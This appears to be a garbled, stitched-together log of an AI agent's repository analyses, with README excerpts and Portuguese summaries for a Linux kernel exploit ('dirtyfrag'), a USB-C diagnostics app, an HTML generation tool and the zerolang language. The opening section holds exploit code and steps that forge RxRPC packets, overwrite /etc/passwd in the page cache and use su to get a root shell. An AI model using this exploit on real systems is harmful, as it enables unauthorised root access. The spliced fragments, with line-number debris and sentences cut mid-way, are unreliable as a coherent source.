a plain UDP socket (`udp_srv` @ port_S) playing the role of a fake server and an AF_RXRPC client (`rxsk_cli` @ port_C) is created in the same process. The client is bound to the key above with `setsockopt(SOL_RXRPC, RXRPC_SECURITY_KEY, desc)`, and the security level is forced with `RXRPC_MIN_SECURITY_LEVEL = RXRPC_SECURITY_AUTH (1)`. When the client initiates an RPC call with `sendmsg`, the fake server extracts `(epoch, cid, callNumber)` from the first packet and sends a forged `CHALLENGE` (type=6, version=2, nonce=`0xDEADBEEF`, min_level=1) to the client.\n333|\n334|```c\n335|struct {\n336|    struct rxrpc_wire_header hdr;\n337|    struct rxkad_challenge   ch;\n338|} __attribute__((packed)) c = {0};\n339|c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE; c.hdr.securityIndex = 2;\n340|c.hdr.epoch = htonl(epoch); c.hdr.cid = htonl(cid);\n341|c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu); c.ch.min_level = htonl(1);\n342|sendto(udp_srv, &c, sizeof(c), 0, /*client*/, ...);\n343|```\n344|\n345|Upon receiving the CHALLENGE, the client automatically generates and sends a RESPONSE with K, and at the same time initializes the connection security context with `conn->rxkad.cipher = pcbc(fcrypt) + setkey(K)`. The fake server has no real ticket to verify, so it drains the RESPONSE and ignores it. From this point on, the client believes that a secure connection protected by K has been established.\n346|\n347|Next, the wire `cksum` of the forged DATA packet must be precomputed with K. Only after passing the cksum verification of `rxkad_verify_packet` does the flow reach the in-place decrypt of `rxkad_verify_packet_1`. Both stages of the cksum are computed using a user-space `pcbc(fcrypt)` (`socket(AF_ALG)` + `bind(\"skcipher\", \"pcbc(fcrypt)\")` + `setkey(K)`). First, `csum_iv` is derived from the latter 8 bytes of the output of `PCBC-encrypt({htonl(epoch), htonl(cid), 0, htonl(sec_ix=2)}, IV=K)`. Then, the wire cksum is derived from the upper 16 bits of word 1 (1 if the value is 0) of the output of `PCBC-encrypt({htonl(call_id), htonl((cid&3)<<30 | (seq&0x3fffffff))}, IV=csum_iv)`.\n348|\n349|```c\n350|compute_csum_iv(epoch, cid, /*sec_ix=*/2, K, csum_iv);\n351|compute_cksum(cid, callN, /*seq=*/1, K, csum_iv, &cksum_h);\n352|\n353|struct rxrpc_wire_header mal = {\n354|    .type = RXRPC_PACKET_TYPE_DATA, .flags = RXRPC_LAST_PACKET, .securityIndex = 2,\n355|    .epoch = htonl(epoch), .cid = htonl(cid), .callNumber = htonl(callN),\n356|    .seq = htonl(1), .cksum = htons(cksum_h), .serviceId = htons(svc_id),\n357|};\n358|```\n359|\n360|The forged DATA wire header (28 bytes) and 8 bytes of `/etc/passwd` are sent from `udp_srv` to the client using the same vmsplice + 2× splice pattern as the ESP variant.

Finally, when the parent process execs `/usr/bin/su -` along with a PTY, `pam_unix.so nullok` of PAM common-auth accepts the empty passwd field and lets it through without a prompt. su then performs `setresuid(0, 0, 0)` and execs `/bin/bash`, dropping into a root shell.

In such an environment, xfrm-ESP Page-Cache Write cannot be triggered.\n440|\n441|RxRPC Page-Cache Write does not require the privilege to create a namespace, but the `rxrpc.ko` module itself is not included in most distributions.

  ## Análise do repositório `V4bel/dirtyfrag`

  ### Problema que resolve
  - **Escalação de privilégio local (LPE) determinística no Linux** → obtém **root** sem precisar de condição de corrida (race) e sem que o kernel between em pânico se a exploração falhar.
  - Funciona como uma **“arma” real (weaponized exploit)** contra falhas do kernel Linux que permitem escrita arbitrária na **page cache** de arquivos como `/usr/bin/su` ou `/etc/passwd`.

  ---

  ### Tema principal de atuação
  - **Segurança ofensiva / exploit kernel Linux (LPE)**
  - Pesquisa e exploração de classes de vulnerabilidades que “sujam” (dirty) estruturas internas do kernel (no caso, o campo `frag` de `struct sk_buff`) via caminhos zero-copy usando `splice()`, resultando em **page cache write** por parte de usuário não privilegiado.

  ---

  ### Razão do hype/tendência
  - **Sucesso quase garantido**: não depende de *race condition*, é um bug determinístico.
  - **Cobertura ampla**: funciona nas principais distribuições Linux (Ubuntu, RHEL, Fedora, openSUSE, AlmaLinux etc.) tanto com quanto sem suporte a *user namespaces*.
  - **Herdou relevância de bugs anteriores (Dirty Pipe, Copy Fail)**: amplia a superfície para redes/ESP/RxRPC, contornando mitigações já conhecidas.
  - **Impacto real**: CVEs recentes (**CVE-2026-43284** e **CVE-2026-43500**), com patches já merged no mainline do Linux.

  ---

  ### Tecnologias envolvidas
  - **Sistema**: Linux kernel networking/XFRM/RxRPC, page cache, `splice()`, `vmsplice()`
  - **Linguagem**: C
  - **APIs/Headers**: `net/xfrm.h`, `linux/rxrpc.h`, `linux/if_alg.h`, `netlink`, `if_ether`, `keyctl`, `termios`
  - **Conceitos**: ESP/AEAD in-place crypto, `pcbc(fcrypt)`, RxKAD, AF_ALG, user namespaces, XFRM SA, ESN replay, page cache pinning

  ---

  ### Resumo do que foi feito
  - Clonei o repositório `V4bel/dirtyfrag`.
  - Li `README.md`, `assets/write-up.md` e `exp.c`.
  - Estruturei os 4 pontos solicitados em português, de forma direta e concisa.

No entitlements, no private APIs, no helper daemons:\n162|\n163|| Service | What it gives us |\n164|| --- | --- |\n165|| `AppleHPMInterfaceType10/11/12` (M3-era), `AppleTCControllerType10/11` (M1 / M2), and `IOPort` (M4 Mac mini front ports) | Per-port state: connection, transports, plug orientation, e-marker presence. `Type11` is what M2 MacBook Air uses for its MagSafe 3 port. |\n166|| `IOPortFeaturePowerSource` | Full PDO list from the connected source, with the live \"winning\" PDO |\n167|| `IOPortTransportComponentCCUSBPDSOP`, `...SOPp`, `...SOPpp` | PD Discover Identity VDOs from the port partner (SOP), the cable's near-end e-marker (SOP'), and the far-end e-marker (SOP'') if present |\n168|| XHCI controller subtree | Each connected USB device is paired to its physical port via the XHCI port node's `UsbIOPort` registry path, falling back to a bus-index derived from the controller's `locationID` upper byte and the port's `hpm` SPMI ancestor on machines that don't expose `UsbIOPort`. |\n169|\n170|Cable speed and power decoding follow the USB Power Delivery spec (aligned to USB-PD R3.2 V1.2, March 2026). Vendor names come from a bundled SQLite database (`whatcable.db`) that merges USB-IF's published vendor list, the community `usb.ids` list, and a curated set of cable fingerprints reported by users.\n171|\n172|## Build from source\n173|\n174|```bash\n175|swift build                  # compile everything\n176|swift run WhatCable          # run the menu bar app (dev mode, no widget or bundle structure)\n177|swift run whatcable-cli      # run the CLI\n178|swift test                   # run the test suite\n179|```\n180|\n181|Requires Swift 5.9+ (Xcode 15+).

  ## Análise do repositório darrylmorley/whatcable

  ### Problema que resolve
  Cabos USB-C são **visualmente idênticos**, mas têm capacidades muito diferentes (de “somente carga” USB 2.0 até Thunderbolt 4 com 40 Gbps e 240 W). O macOS já expõe essas informações via IOKit, mas não há uma forma amigável de o usuário descobrir **o que cada cabo realmente faz** ou **por que o carregamento está lento**. WhatCable resolve isso expondo esses dados brutos em linguagem simples, direto na barra de menus.

  ### Tema principal de atuação
  Utilitário macOS para **diagnóstico de hardware de porta USB-C/Thunderbolt**: identifica cabo, carregador, dispositivos conectados, velocidade negociação de barramento, PD (Power Delivery), topologia Thunderbolt e saúde da porta.

  ### Razão do hype/tendência
  - **4.894 stars** e presença no Product Hunt, o que reflete forte interesse do público por uma resposta prática a um problema comum.
  - Resolve uma **dor real e crescente**: com a padronização do USB-C, usuários não sabem qual cabo comprar/usar nem por que a carga está lenta.
  - Abordagem tecnicamente ousada: usa IOKit sem APIs privadas, entitlements ou daemons extra, apenas leituras públicas.
  - Distribuição profissional: app signed + notarizado pela Apple, CLI funcionalvia Homebrew, widgets de desktop e site próprio em `whatcable.uk`.
  - Multiplataforma conceitual: funciona como menu bar app **e** como ferramenta de linha de comando para scripts.

  ### Tecnologias envolvidas
  - **Swift** + **Swift Package Manager**
  - **IOKit** (`AppleHPMInterfaceType10/11/12`, `IOPort`, `IOPortTransportComponentCCUSBSOP`, XHCI controller subtree)
  - **USB Power Delivery** (especificação USB-PD R3.2 V1.2)
  - **Thunderbolt / USB4 / DisplayPort** decoding
  - **SQLite** (banco `whatcable.db` com lista USB-IF, `usb.ids` e fingerprints de cabos reportados por usuários)
  - **WidgetKit** (widgets desktop)
  - **CLI** (`whatcable` com flags para JSON, watch, monitor, etc.)
  - **Notarização e assinatura Apple** (Developer ID + hardened runtime)
  - **Eleventy (11ty)** para o site de documentação

  Em resumo: é um utilitário macOS de nicho bem executado, que transpõe dados brutos de hardware de porta USB-C em informação útil e legível, ganhando destaque por resolver um problema real e mainstream com técnica sólida.

  # This is NOT the Next.js you know

  This version has breaking changes — APIs, conventions, and file structure may all differ from your training data. Read the relevant guide in `next/node_modules/next/dist/docs/` before writing any code. Heed deprecation notices.

  ## Workspace Shape

  - Root is the public harness boundary only: workspace metadata, `.github/workflows/ci.yml`, `scripts/guard.ts`, and repository docs.
  - `next/` owns the complete Next application: app routes, components, app libraries, public assets, Next config, app TypeScript config, and app unit tests.
  - `e2e/` owns browser-level tests as the only source of truth: Playwright config, e2e TypeScript config, helper scripts, and flat `ui/*.test.ts` cases.
  - Do not add Playwright tests under `next/`. Do not add app source back at root `src/` or root `app/`.
  - Root `package.json` must not proxy app or e2e scripts. Use pnpm workspace filters from the repository root.

  ## Commands

  - Install: `pnpm install --frozen-lockfile`
  - Guard shape: `pnpm exec tsx scripts/guard.ts`
  - App dev: `pnpm -F @html-anything/next dev`
  - App typecheck: `pnpm -F @html-anything/next typecheck`

Swiss International, Guizang Editorial, XHS Pastel, Hermes Cyber, Replit, Magazine Web…) · `frame` (10 Hyperframes video frames — liquid hero, NYT data chart, sticky-note flowchart, glitch title, cinema light-leak, macOS notification, logo outro…) · `social` (X / Xiaohongshu / Spotify / Reddit cards) · `office` (PM spec · eng runbook · finance report · HR onboarding · invoice · OKRs · weekly update · meeting notes · kanban) · `doc` (Kami warm-parchment editorial) · `mockup` (3D device frame) · `vfx` (text-cursor effect). |\n114|| **9 surface modes** | 📖 magazine article · 🎬 keynote deck · 📄 résumé · 🖼️ poster · 📱 Xiaohongshu card · 🐦 tweet card · 🛠️ web prototype · 📊 data report · 🎞️ Hyperframes video. Each has multiple skills you can pick from. |\n115|| **One-click export** | `juice` inlines CSS → WeChat paste with zero re-formatting · `modern-screenshot` renders the iframe to a 2× PNG → `ClipboardItem` → drop straight into the tweet composer · `<mjx-container>` → `data-eeimg` placeholder → Zhihu equations render automatically · standalone `.html` download · high-DPI `.png` download. |\n116|| **Streaming render** | `POST /api/convert` over SSE. The agent's stdout JSON-line stream is parsed for text deltas → server-sent events → client appends → iframe `srcdoc` updates live. Waiting for an AI generation looks like watching it type in real time. |\n117|| **Sandboxed preview** | `<iframe sandbox=\"allow-scripts allow-same-origin\">`. User-emitted HTML runs in an isolated origin — Tailwind CDN / Google Fonts / inline scripts work, but cookies and localStorage are quarantined from the host. |\n118|| **Format auto-detect** | The editor accepts Markdown / CSV / TSV / JSON / SQL / plain text. `papaparse` + `xlsx` parse tabular data in the browser — nothing is uploaded. |\n119|| **Deployable to** | Local (`pnpm -F @html-anything/next dev`) · Vercel for the web layer (the agent always stays on your laptop). |\n120|| **License** | Apache-2.0 |\n121|\n122|## Demo\n123|\n124|<table>\n125|<tr>\n126|<td width=\"50%\">\n127|<img src=\"docs/screenshots/01-entry-view.png\" alt=\"01 · Entry view\" /><br/>\n128|<sub><b>Entry view</b> — the top bar shows your installed CLIs, the left pane is the editor, the middle is the template + design-system picker, the right is a live iframe preview.

Yours is good enough.\n326|\n327|On boot the browser calls `/api/agents`. The server scans `PATH` — including the dirs a GUI-launched Node usually misses (`~/.local/bin`, `~/.bun/bin`, `/opt/homebrew/bin`, `~/.npm-global/bin`) — and surfaces whichever CLIs it finds. Each CLI has one adapter (argv + stdin protocol + stream parser) in [`next/src/lib/agents/argv.ts`](next/src/lib/agents/argv.ts). The whole detection model is borrowed directly from [`nexu-io/open-design`](https://github.com/nexu-io/open-design) and [`multica-ai/multica`](https://github.com/multica-ai/multica): one privileged process spawns CLIs, JSON-line is the wire protocol.\n328|\n329|### 2 · Skills are folders, not plugins.\n330|\n331|Following Claude Code's [`SKILL.md` convention](https://docs.anthropic.com/en/docs/claude-code/skills) — `SKILL.md` + `assets/` + `references/` + `example.html`. Drop a folder into [`next/src/lib/templates/skills/`](next/src/lib/templates/skills/), restart `pnpm -F @html-anything/next dev`, the picker shows it. `deck-guizang-editorial` is vendored directly from [`op7418/guizang-ppt-skill`](https://github.com/op7418/guizang-ppt-skill) with original LICENSE and authorship preserved.\n332|\n333|### 3 · Hard constraints stop the model from freestyling.\n334|\n335|Every template hardcodes:\n336|\n337|- **CJK-first font stack** — `Noto Sans/Serif SC` / source-han for Chinese, `Inter` / `Manrope` for Latin.\n338|- **8 px baseline grid** — every spacing, line-height, font-size is a multiple of 8.\n339|- **Rounded corners · soft shadow · no pure black / pure white** — visual de-slop-ification.\n340|- **Color contrast ≥ 4.5**, every interactive element has a real `:focus` state.\n341|- **Must use the user's real data**, no lorem ipsum.\n342|\n343|The discipline is lifted from [`alchaincyf/huashu-design`](https://github.com/alchaincyf/huashu-design)'s Junior-Designer mode + anti-AI-slop checklist. Constraints belong in the prompt — every `SKILL.md` writes them in.\n344|\n345|### 4 · Streaming render = watch the AI draw.\n346|\n347|`POST /api/convert` is SSE. The agent's stdout is line-delimited JSON; the server pulls out the text deltas and re-emits them as SSE events; the client appends to the iframe's `srcdoc`.

The closed loop — **detect agent → pick skill → SSE stream → sandboxed iframe preview → one-click export** — runs end-to-end against all 8 CLIs listed above. The skill library and the `SKILL.md` hard-constraints are where most of the leverage lives, and both are stable. The picker UX, design-system metadata, and the multi-template compare flow ship daily. If something looks broken on your machine, open an issue with the agent CLI you were using and the input — those are the bug reports that move things forward fastest.\n428|\n429|| Surface | State |\n430||---|---|\n431|| Agent detection (8 CLIs) | ✅ stable |\n432|| Skill registry + picker (75 skills) | ✅ stable |\n433|| SSE streaming render | ✅ stable |\n434|| Sandboxed iframe preview | ✅ stable |\n435|| One-click WeChat / X / Zhihu / `.html` / `.png` export | ✅ stable |\n436|| CSV / Excel / JSON / SQL format auto-detect | ✅ stable |\n437|| Multi-template compare (generate 4, pick 1) | 🛠 in progress |\n438|| Hyperframes → `.mp4` one-click handoff to Remotion | 🛠 in progress |\n439|| Browser extension (select on any page → convert) | ⏳ planned |\n440|| History / version diff / IndexedDB archive | ⏳ planned |\n441|| Skill marketplace (`install <github-repo>`) | ⏳ planned |\n442|\n443|## Security\n444|\n445|The Next API surface is the local-only side of the app — `/api/convert` spawns the user's coding-agent CLI with maximally permissive flags, `/api/deploy` writes credentialed config to disk. Both are intended for a single operator on a single machine. To prevent a malicious page from DNS-rebinding `attacker.example` to `127.0.0.1` and POSTing into those routes through the user's browser, every `/api/*` request is gated on a Host-header allowlist in [`next/src/middleware.ts`](next/src/middleware.ts).\n446|\n447|| Setting | When to use |\n448||---|---|\n449|| **Default (no env vars set)** | The common case — `next dev` / `next start` on your own machine. `127.0.0.1`, `localhost`, and `::1` Host headers (any port) are accepted. Everything else gets a 403 `{ \"error\": \"Host not allowed\" }`. |\n450|| **`HTML_ANYTHING_ALLOWED_HOSTS=daemon.mirage.local,html-anything.lan`** | LAN / mDNS setup — you're reaching the app from another device on the same network and the browser dials a non-loopback hostname. Comma-separated; port-insensitive; case-insensitive. The default loopback set is still accepted on top of this. |\n451|| **`HTML_ANYTHING_ALLOW_ANY_HOST=1`** | Reverse-proxy mode — Caddy / nginx / Cloudflare Tunnel is terminating the public hostname and forwarding to the app. The proxy is now responsible for Host policy. Loudly insecure if you set this without a trusted proxy in front, so it is not the default. |\n452|\n453|Set the env var in whatever environment file your launcher reads (e.g. `next/.env.local`). The middleware is pinned to the Node runtime (`export const runtime = \"nodejs\"` in [`next/src/middleware.ts`](next/src/middleware.ts)) so `process.env` is read per-request — Edge middleware can inline `process.env.*` at build time, which would silently break operator overrides set after `next build`. The validation is unit-tested in [`next/src/lib/security/host-validation.test.ts`](next/src/lib/security/host-validation.test.ts) and the loopback-still-works dev path is exercised in the Playwright spec at [`e2e/ui/host-validation.spec.ts`](e2e/ui/host-validation.spec.ts).\n454|\n455|## Contributing\n456|\n457|Issues, PRs, new skills, new agent adapters, new export targets, and translations are all welcome. The highest-leverage contributions are usually **one folder, one Markdown file, or one PR-sized adapter** — small surface area, big leverage.

The picker auto-discovers it after `pnpm -F @html-anything/next dev` restart. The `SKILL.md` frontmatter has to set `mode` · `scenario` · `surface` · `preview` · `design_system` — copy a neighbour and edit.\n460|- **Wire up a new coding-agent CLI** — one entry in [`next/src/lib/agents/argv.ts`](next/src/lib/agents/argv.ts) covering: detection binary, argv builder, stdin/stdout protocol, stream parser. Detection is exercised by [`next/src/app/api/agents/`](next/src/app/api/agents/) and the spawn loop by [`next/src/app/api/convert/`](next/src/app/api/convert/).\n461|- **Add an export target** — drop a module under [`next/src/lib/export/`](next/src/lib/export/) (next to `wechat.ts` / `image.ts` / `clipboard.ts`) and add the button to the export menu. WeChat Channels · Douyin captions · Notion · Linear · Telegraph · RSS are all open.\n462|- **Sharpen a `SKILL.md`** — strengthen the hard-constraints (CJK font stack, 8 px baseline, contrast ≥ 4.5, must-use-real-data), add a 5-dimensional self-critique, swap in a better palette.

  Resultado da análise:

  - Problema que resolve
    - Usuários precisam transformar conteúdo (Markdown/CSV/Excel/JSON/SQL/notas) em HTML final envioável para humanos/público, mas editar HTML/CSS/layout continua sendo tarefa de dev/designer. HTML Anything fecha o loop com agente local: o usuário fornece conteúdo bruto e recebe um HTML de página única, pronto para ser publicado/exportado.

  - Tema principal de atuação
    - IA aplicada a conteúdo/produtividade (agentic tooling), com forte capa de design engineering e DX de export multiplataforma.

  - Razão do hype/tendência
    - movimento "HTML final para humanos" vs Markdown intermediário;
    - local-first + sem API key, reaproveitando CLIs de agentes já autenticados;
    - modelo simples de skills em pastas (75 templates);
    - export um-clique para WeChat/X/Zhihu, com CSS inline e PNG high-DPI;
    - herança/hype do ecossistema `nexu-io/open-design`.

  - Tecnologias envolvidas
    - Frontend: Next.js 16 (App Router), React 19, Tailwind v4, Zustand.
    - Backend/runtime: Node runtime + `child_process.spawn` para integração com agentes + SSE streaming.
    - Segurança/preview: `iframe[sandbox="allow-scripts allow-same-origin"]`, DOMPurify, validação de Host header no middleware.
    - Agentes suportados: Claude Code, OpenAI Codex, Cursor Agent, Gemini CLI, Copilot CLI, OpenCode, Qwen Coder, Aider.
    - Dados/formatos: `marked` + `highlight.js`, `papaparse`, `xlsx`.
    - Export: `juice`, `modern-screenshot`, `ClipboardItem`, `pptxgenjs`, `jszip`.

  Resumo da execução
  - Clonado o repositório em `/home/ice/html-anything`.
  - Li a documentação principal (`README.md`) e `package.json` em `/home/ice/html-anything` e `/home/ice/html-anything/next/package.json`.
  - Inspecionei rapidamente as rotas em `/home/ice/html-anything/next/src/app/api/convert/route.ts` para confirmar o fluxo SSE e o promptagem.

The graph is the compiler-derived interface agents use to inspect and change programs with less guessing.\n\nThe current model:\n\n- Human-readable `.0` source stays reviewable, auditable, and durable.\n- The compiler derives a checked ProgramGraph from source.\n- Agents inspect graph facts such as node IDs, graph hashes, types, effects, ownership facts, capabilities, helper use, and module edges.\n- Agents can submit checked graph edits instead of only patching text ranges.\n- Where source rewriting is supported, the compiler validates the edit before writing source.\n\nDesign goals:\n\n- Token efficiency\n- Low memory usage\n- Fast startup\n- Fast builds\n- Low runtime latency\n- Zero dependencies\n\n> **Safety status**\n>\n> Security vulnerabilities should be expected. zerolang is not ready for production systems, sensitive data, or trusted infrastructure. Run and develop it in isolated, disposable environments.\n\n## Why Graph\n\nAgents can edit source text, but source text is a lossy interface for program understanding. A text patch has to guess which references are related, whether a range is stale, whether a call resolves to the intended function, and whether an edit preserved ownership, fallibility, effects, imports, and target constraints.\n\nThe ProgramGraph is zerolang's compiler-owned structure for that work. It is meant to give agents a map they can navigate in slices: start from a symbol, diagnostic, call, capability, module, or node ID, then ask for the surrounding semantic facts instead of loading unrelated source. That keeps context gathering focused while leaving source code as the durable artifact humans review.\n\nThe edit loop is also different. A graph edit can target `node #610c78bf` instead of a line range, require the inspected `graphHash`, require an expected field value, and let the compiler validate, lower, write, format, reparse, and check the result as one path. Refactors can be expressed as semantic operations such as renaming a function node or replacing a resolved callee, rather than search-and-replace over text followed by separate cleanup commands.\n\n## Source Text\n\n`.0` source is intentionally regular. The goal is source that behaves like durable data: easy to index, compare, format, audit, and regenerate, while still reading like normal code.\n\nA small program shows typed signatures, infix expressions, fallibility, and explicit capability passing:\n\n```zero\nfn answer() -> i32 {\n    return 40 + 2\n}\n\npub fn main(world: World) -> Void raises {\n    if answer() == 42 {\n        check world.out.write(\"math works\\n\")\n    }\n}\n```\n\nSource code remains the stored representation. ProgramGraph artifacts are derived inspection and interchange data, not the primary project files.\n\n## ProgramGraph\n\nAgents do not have to infer every fact from text. The compiler can expose the checked structure of a program directly:\n\n```bash\nzero graph dump examples/hello.0\n```\n\nExample output:\n\n```text\nzero-graph v1\norigin source-text\nmodule \"hello\"\nhash \"graph:b8a019041020df03\"\n\nnode #ea5ea1ca Function name:\"main\" type:\"Void\" public:true fallible:true\nnode #f9ce8b3e Param name:\"world\" type:\"World\"\nnode #421a4d4b MethodCall name:\"write\" type:\"Void\"\nnode #610c78bf Literal type:\"String\" value:\"hello from zero\\n\"\nedge #421a4d4b arg #610c78bf order:0\nedge #ea5ea1ca body #6c48dda8\n```\n\nThe graph gives agents explicit handles such as node IDs, graph hashes, resolved types, effects, ownership facts, capability facts, helper use, and module edges. The hash is a stale-context check; node IDs are edit targets for the graph that was inspected.\n\n## Checked Graph Edits\n\nFor supported canonical `.0` source, `zero graph patch` applies checked edits to the graph and rewrites source only after validation. The command is intended to collapse the normal agent loop of edit, format, reparse, check, and fix into a compiler-mediated operation:\n\n```bash\nzero graph patch examples/hello.0 \\\n  --expect-graph-hash graph:b8a019041020df03 \\\n  --op 'set node=\"#610c78bf\" field=\"value\" expect=\"hello from zero\\n\" value=\"hello graph\\n\"'\n```\n\nThis is different from a source-text patch. The operation targets a checked semantic node and field. The graph hash rejects stale context, and `expect` rejects the edit if the current field value is different from what the agent inspected.\n\n## Agent Workflow Interfaces\n\nThe compiler exposes the workflow through CLI commands with stable structured output.\n\n### Load Version-Matched Rules\n\nThe compiler ships skill text that matches the binary being used:\n\n```bash\nzero skills list\nzero skills get language\nzero skills get diagnostics\nzero skills get stdlib\n```\n\nPrint the language guide bundled with the compiler:\n\n```bash\nzero skills get language\n```\n\n### Inspect Compiler Facts\n\nCompiler state is exposed through structured command output instead of prose-only output. The important contract is the stable fields and repair identifiers; today the CLI exposes those fields with `--json`:\n\n```bash\nzero tokens --json examples/hello.0\nzero parse --json examples/hello.0\nzero check --json examples/hello.0\nzero graph dump examples/hello.0\nzero graph --json examples/systems-package\nzero size --json examples/point.0\n```\n\nThe structured contracts include diagnostic codes and spans, public symbols, import edges, target readiness, compile-time sandbox facts, retained helpers, graph hashes, node IDs, and size retention reasons.\n\n### Compiler-Native Contracts\n\nMost language ecosystems expose some of these facts through separate tools, editor protocols, or library APIs. zerolang keeps the agent-facing inspection and repair path in the compiler CLI.\n\nThe inspection and repair surfaces are compiler commands, not editor-only features or a separate analysis service:\n\n| Command | Contract |\n| --- | --- |\n| `zero skills get language` | Version-matched language rules bundled with the compiler binary. |\n| `zero check --json` | Diagnostics with code, span, expected/actual fields, fix safety, repair metadata, compile-time sandbox facts, target readiness, and safety facts. |\n| `zero parse --json` | A stable parse summary with declarations, function signatures, and body node kinds. |\n| `zero graph --json` | Modules, imports, public symbols, capabilities, effects, ownership facts, safety facts, helper use, and interface fingerprints. |\n| `zero graph dump` | Deterministic ProgramGraph text with graph hashes, node IDs, nodes, and edges. |\n| `zero graph patch` | Checked graph edits with graph-hash and field-value preconditions. |\n| `zero fix --plan --json` | Typed repair plans that describe proposed fixes without editing files. |\n| `zero size --json` | Retained helpers, size reasons, profile policy, safety facts, backend facts, and artifact budget data. |\n\n### Repair With Diagnostics\n\nA failing fixture reports a diagnostic with stable fields:", "exit_code": 0, "error": null}

  # Contributor Notes

  Zero is a pre-1 experiment in building an agent-first programming language.
  Keep public-facing changes honest about what works today without weakening that
  positioning.

  ## Project Direction

  Zero is still being shaped around the needs of agents. Breaking changes are
  acceptable when they move the language, standard library, compiler, or tooling
  closer to that goal.

  Do not preserve legacy behavior by default. Prefer the clearer agent-facing
  design over compatibility shims, migration layers, or carrying old paths
  forward. Keep examples, docs, tests, and command contracts aligned with the new
  behavior so the repository describes one coherent current system.

  This does not mean broad churn for its own sake. Make direct changes that
  advance Zero's agent-first goals: on-the-fly learnability, deterministic
  inspection and repair, strong standard-library coverage, exceptional developer
  experience, and regular patterns over syntactic convenience.

  ## Safety Expectations

  Security vulnerabilities should be expected. Zero is not ready for production
  systems, sensitive data, or trusted infrastructure.

  Run and develop Zero in safe environments: isolated workspaces, disposable
  inputs, and systems where compiler crashes, malformed output, or unsafe runtime
  behavior cannot damage production state. Treat generated artifacts and examples
  as experimental unless they have been reviewed for the specific environment
  where they will run.

  ## Development

  - Build the local compiler with `make -C native/zero-c`.
  - Use `bin/zero` for focused checks; it execs the local native compiler at
    `.zero/bin/zero`.
  - Keep examples runnable and docs copyable.
  - Prefer small, direct changes over broad refactors.
  - Use direct emitters for compiler output.

  ## Useful Checks

  ```sh
  pnpm run docs:test
  pnpm run conformance
  pnpm run native:test
  pnpm run command-contracts
  ```

  For focused compiler work:

  ```sh
  bin/zero check --json <file-or-package>
  bin/zero graph --json <file-or-package>
  bin/zero size --json <file-or-package>
  bin/zero explain <diagnostic-code>
  bin/zero fix --plan --json <file-or-package>
  ```

  ## Project Layout

  - `native/zero-c/`: native compiler implementation.
  - `examples/`: small runnable programs and packages.
  - `conformance/`: language and CLI fixtures.
  - `docs/`: public documentation site.
  - `scripts/`: validation and release support tooling.

  ## Public Docs Policy

  Docs should describe current user-facing behavior, not internal development
  history. Avoid release-planning language, validation-report narratives, and
  implementation diary details in pages intended for external readers.

  ## Releasing

  Releases are manual, single-branch affairs. The maintainer controls the
  changelog voice and format.

  To prepare a release:

  1. Create a release branch, such as `ctate/v0.1.1`.
  2. Bump the release version in `package.json`, `docs/package.json`,
     `extensions/vscode/package.json`, and `native/zero-c/src/main.c`.
  3. Update command-contract expectations that assert the compiler version.
  4. Write the `CHANGELOG.md` entry for the new version, wrapped in
     `<!-- release:start -->` and `<!-- release:end -->` markers.
  5. Remove the release markers from the previous release entry. Only the latest
     release entry should have markers.
  6. Include a `### Contributors` section in the marked changelog entry. Derive
     contributors from commit authors and `Co-authored-by` trailers since the
     previous tag.
  7. Run focused checks before opening or updating the PR:

  ```sh
  make -C native/zero-c
  bin/zero --version --json
  pnpm run test:zero
  pnpm run command-contracts:local
  pnpm run docs:test
  ```

  The release workflow reads the version from `package.json`, builds release
  assets, and uses the content between the changelog markers as the GitHub
  release body. terminal

  {"content": "1|# Changelog\n2|\n3|## 0.2.0\n4|\n5|<!-- release:start -->\n6|\n7|- Makes canonical `.0` text the native source surface, with a parser, formatter, Program import path, diagnostics, docs, examples, stdlib sources, benchmarks, conformance fixtures, and command snapshots aligned around that format.\n8|- Promotes ProgramGraph from inspection output into an editable artifact workflow with deterministic dump, validate, view, check, roundtrip, import, patch, build, run, test, size, and package entrypoint support.\n9|- Adds source-backed graph edits so checked graph patches can rewrite canonical `.0` files while preserving package/import context, std helper context, metadata, and stable graph identities.\n10|- Expands direct backend coverage with darwin-x64 Mach-O executable support, shared AArch64 ELF/COFF emission, target-readiness reporting, byte-view ABI fixes, and stronger cross-target buildability checks.\n11|- Adds source-backed `std.path`, `std.str`, and `std.math` modules with docs, examples, Rosetta coverage, and direct target validation.\n12|- Exposes resolved call-resolution and stdlib helper facts in graph JSON, tightening generic return typing, member call facts, std helper validation, and package cache metadata.\n13|- Grows Rosetta and compiler smoke coverage, graph command contracts, metrics budgets, CLI docs, skills, and docs tests around the current agent edit loop.\n14|\n15|### Contributors\n16|\n17|- @ctate\n18|\n19|<!-- release:end -->\n20|\n21|## 0.1.4\n22|\n23|- Adopts canonical `.0` text as the current Zero source surface across parsing, import resolution, package manifests, command workflows, docs, fixtures, formatting, and artifact contracts.\n24|- Rebuilds checker internals around TypeCore, binder-aware unification, generic inference, static interface validation, provenance substitution, and shared call-resolution facts.\n25|- Hardens direct emitters and native artifacts through MIR verifier contracts, direct specialization metadata, target buildability checks, and shared x64, AArch64, ELF, Mach-O, and COFF emission helpers.\n26|- Adds clearer direct backend selection, target readiness, and buildability reporting so command JSON and failed native builds expose deterministic blocker facts.\n27|- Removes stale wasm, compiler-zero, and superseded parser surfaces while refreshing public docs, README guidance, and zerolang branding around the current system.\n28|- Strengthens compiler structure guardrails, metrics budgets, TypeScript-based repo scripts, docs build infrastructure, CI workspace commands, and eval harness isolation.\n29|- Renames bundled version-matched skills to the current flat skill names while keeping `zero skills` discovery focused on the native compiler.\n30|\n31|### Contributors\n32|\n33|- @ctate\n34|\n35|## 0.1.3\n36|\n37|- Adds hosted HTTP client runtime support, including runtime packaging fixes, JSON byte helpers for wasm, HTTP final-header parsing fixes, and direct array span lowering repairs.\n38|- Parses `use` declarations into syntax graph facts and reports import diagnostics, fix plans, and graph edges against the specific import source ranges.\n39|- Adds structured backend blocker and target-readiness facts to command JSON so checks, build previews, and direct backend failures explain unsupported targets more deterministically.\n40|- Expands agent-facing diagnostics with BOR001 borrow trace facts, target-neutral CGEN004 wording, and NAM004 generic type-name shadowing rejection.\n41|- Hardens native compiler allocation paths across shared buffers, parser, checker, IR lowering, emitters, source handling, targets, and driver state for deterministic allocation failures.\n42|- Updates the public site and docs with current guidance, docs chat rate limiting, and pnpm-based repository workflows.\n43|- Restores native versioned skill guidance, keeps the repo wrapper on the native compiler, and removes the legacy `zero skills path` command.\n44|\n45|### Contributors\n46|\n47|- @ctate\n48|- 